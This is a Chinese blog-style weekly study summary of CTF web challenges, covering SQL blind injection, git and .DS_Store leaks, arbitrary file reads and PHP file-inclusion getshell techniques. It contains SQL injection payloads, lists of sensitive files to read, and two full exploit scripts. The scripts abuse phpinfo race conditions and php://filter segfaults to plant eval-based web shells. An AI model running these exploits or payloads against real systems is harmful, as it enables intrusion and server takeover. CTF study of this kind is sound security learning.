2023 10月8日 至 10 月16日学习总结

1.做的题目

[RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客

[NCTF2019]SQLi regexp 盲注-CSDN博客

[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客

PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

[NPUCTF2020]ezinclude 文件包含两大 getshell方式-CSDN博客

Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤-CSDN博客

2.知识点

参数爆破

首先就是对网站进行基本的信息收集 但是备份,扫描,抓包

都没有效果的时候可以进行参数爆破

通过工具 arjun可以爆破

arjun -u url  -m GET  -c 100 -d 5

这里是通过慢速 来实现爆破 100个一组 延迟时间为 5 

SQL正则盲注 regexp

sql题一般我先进行fuzz 然后进行测试注入

这里给出一个知识点

转义符 \ 构造闭合

select * from username = '\' and password = '';

这里的 '\' 可以让 username 绕过 因为我们的注入点是在password上

这里解释一下 转义符这里没有过滤 所以我们可以rang \' 变为'


select * from username = '\' and password = '#'

这个时候 字符串 ' and password  就被外面两个 ' 闭合了

所以我们构造 ||1 就可以变为


'\' and password = '||1#'

这里大家直接去phpmyadmin尝试即可

绕过空格

/**/ 或者 %09

都可以

正则盲注

这里放出了正则和 ^

原理是

假设我的表名为admin

select * from username = '\' and password = ' || password regexp "^a"


后面的 "^a"  是开头为 a 的就返回 true 所以我们可以进行盲注

这里还需要00截断后面的引号

但是我们盲注需要通过python 所以这里也介绍一下python的库

python库

首先是 string

这里我们就不需要指定 37-128

直接通过这个库就可以将可打印的字符输出

然后就是-00截断的库

from urllib import parse

这个库是url编码


a = parse.unquote('%00')

这里就是post的url编码后的00截断

GIT泄露

首先通过扫描可以发现存在git泄露

然后通过工具实现

https://gitcode.net/mirrors/BugScanTeam/GitHack?utm_source=csdn_github_accelerator

然后发现存在的代码是出错的

这里就可以通过 .git文件来恢复数据

GIT数据恢复

首先查看日志


git log -all

然后通过指定就可以恢复成以前的代码


git reset --hard 字符

二次注入的危险函数

addslashes 将输入转变为字符串 原封不动存入数据库

这里的注入闭合 文章里面写的比较详细了 大家去看就可以了

任意文件读取

做这个题的时候 知道任意文件读取是高危 但是确实不知道去看什么比较好

/proc/self/environ
/proc/self/cmdline

/etc/passwd 查看存在的用户

/home/用户/.bash_history 查看该用户的历史命令

.DS_Store泄露

获取内容了 因为 .DS_Store 存在很多不可见字符

所以我们可以通过hex输出 然后通过瑞士军刀 解密 并且作为文件输出

然后通过工具Python-dsstore-master

来解密获取

PHP LFI getshell

这里确实学到了很多东西

这里的前提都是存在文件包含

存在phpinfo()

如果存在phpinfo界面 我们通过对phpinfo不断发送垃圾包 其中的内容中包含着木马

这个时候我们上传的临时文件就会保存在 临时文件目录下

并且通过linux和win的命名规则存储

我们只需要去包含 就会生成木马

这里只需要通过条件竞争即可

#!/usr/bin/python3
import sys
import threading
import socket
 
 
def setup(host, port):
    TAG = "安全测试"
    PAYLOAD = """%s\r
<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)
 
 
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
    s.connect((host, port))
    s2.connect((host, port))
 
    s.send(phpinforeq.encode())
    d = b""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index(b"[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None
 
    s2.send((lfireq % (fn.decode(), host)).encode())
    d = s2.recv(4096)
    s.close()
    s2.close()
 
    if d.find(tag.encode()) != -1:
        return fn.decode()
 
 
counter = 0
 
 
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args
 
    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1
 
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\n成功!Shell已创建在 /tmp/shell")
                    self.event.set()
 
            except socket.error:
                return
 
 
def getOffset(host, port, phpinforeq):
    """获取php输出中tmp_name的偏移量"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq.encode())
 
    d = b""
    while True:
        i = s.recv(4096)
        d += i
        if i == b"":
            break
        # detect the final chunk
        if i.endswith(b"0\r\n\r\n"):
            break
    s.close()
    i = d.find(b"[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("在phpinfo输出中未找到php tmp_name")
 
    print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))
    # 加一些填充
    return i + 256
 
 
def main():
    print("LFI With PHPInfo()")
    print("-=" * 30)
 
    if len(sys.argv) < 2:
        print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])
        sys.exit(1)
 
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
        sys.exit(1)
 
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10
 
    phpinforeq, tag, lfireq = setup(host, port)
    offset = getOffset(host, port, phpinforeq)
 
    print("\n[*] 开始进行LFI攻击...")
    threads = []
    e = threading.Event()
    l = threading.Lock()
 
    try:
        for i in range(numthreads):
            t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)
            threads.append(t)
            t.start()
 
        while not e.is_set():
            try:
                e.wait(1)
            except KeyboardInterrupt:
                print("\n[*] 收到中断信号,正在停止攻击...")
                e.set()
 
    except socket.error as e:
        print("连接错误:%s" % str(e))
 
    for t in threads:
        t.join()
 
    print("\n[*] 攻击结束。")
 
 
if __name__ == "__main__":
    main()

大家还是读读上面代码 也能学到内容

PHP7 Segment Falut

首先是 php7 的一个漏洞

通过特定伪协议包含文件会发生段错误 这个时候上传的文件会保存在临时文件下 并且不会被删除


php://filter/sring.strip_tags
存在dir类型的页面

我们只需要去包含里面的漏洞文件即可

不存在dir类型页面

通过爆破实现即可

下面是存在dir页面的时候的脚本

# -*- coding: utf-8 -*-
import re
import requests
from io import BytesIO
 
# 定义漏洞URL和文件路径
vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
url2 = "http://localhost/dir.php"
 
# 构建文件
files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}
 
# 发送漏洞利用请求
req = requests.post(url=vul_url, files=files, allow_redirects=False)
req2 = requests.get(url=url2)
# 获取临时文件名
content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)
 
# 构建获取目录列表的URL
url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)
 
# 构建命令
data = {
    1: "system('dir');"
}
 
# 发送获取目录列表的请求
req3 = requests.post(url=url3, data=data)
 
# 输出结果
print u"目录列表:\n{}".format(req3.text)

SESSION LIF getshell

HAVE SESSION

一样 需要存在文件包含漏洞

这里是通过session 用户会话getshell

首先我们发送存在session的包的时候 会在session存储位置保存着session文件

取名是为 sess_输入

Cookie: PHPSESSID=输入

一般处理会话 要么是通过 原始输入 要么就是通过序列化输入

如果不对用户会话文件进行处理 那么我们只需要写入一句话即可

如果对用户会话进行base64加密 那么我们只需要 构造 4个字符一组的方式 解密即可

记住要过滤掉特殊字符

NO SESSION

当session没有开启的时候

我们可以通过php的特性 文件上传的时候

传递

session.upload_progress.name:<?php phpinfo();?>

这个内容是可控的 并且原本文件上传就存在 如果还发送一次 就开启session 并且存入临时文件

这里的流程图为

文件上传 --->设置session -----> 传递session.upload_progress.name 造成session开启 存入内容

这里去看原本的文章更加详细

SQL过滤许多的盲注

这道题确实过滤了巨多东西

这里的知识点

方法一

select substr('flag',1)---->flag

select substr('flag',2)---->lag

然后我们只需要两次substr 并且倒装输出即可

select reverse(substr('flag',1)) ---->galf

select substr(reverse(substr('flag',1)),4)----->f


select substr(reverse(substr('flag',1)),3)----->fl

然后盲注过滤了 = 号 我们可以通过 <> 不等号实现

1 <> 1 返回false

1 <> 2 返回 true

因为过滤了查询列名和表名的系统库 所以这里直接通过 字典爆破即可

方法二

通过 减去 来实现

a'or((ascii(substr((select(password))from(1)))-48))--

这里也是因为 过滤了 = 号

这里也推荐大家去看上面文章 写的详细 这里只是简单的记录

3.不足

这些题 混在一起 我就有点没想到 git那种题目的确实很简单 但是确实也是没有想到

4.下一周计划

专心准备比赛

相关推荐
StickToForever4 小时前
第4章 信息系统架构(五)
经验分享·笔记·学习·职场和发展
leegong231117 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
Moonnnn.8 小时前
51单片机学习——动态数码管显示
笔记·嵌入式硬件·学习·51单片机
南宫生9 小时前
力扣每日一题【算法学习day.132】
java·学习·算法·leetcode
技术小齐9 小时前
网络运维学习笔记 016网工初级(HCIA-Datacom与CCNA-EI)PPP点对点协议和PPPoE以太网上的点对点协议(此处只讲华为)
运维·网络·学习
竹言笙熙9 小时前
代码审计初探
学习·web安全
日记成书9 小时前
物联网智能项目
物联网·学习
虾球xz10 小时前
游戏引擎学习第118天
学习·游戏引擎
gz927cool10 小时前
大模型做导师之开源项目学习(lightRAG)
学习·开源·mfc
世事如云有卷舒12 小时前
FreeRTOS学习笔记
笔记·学习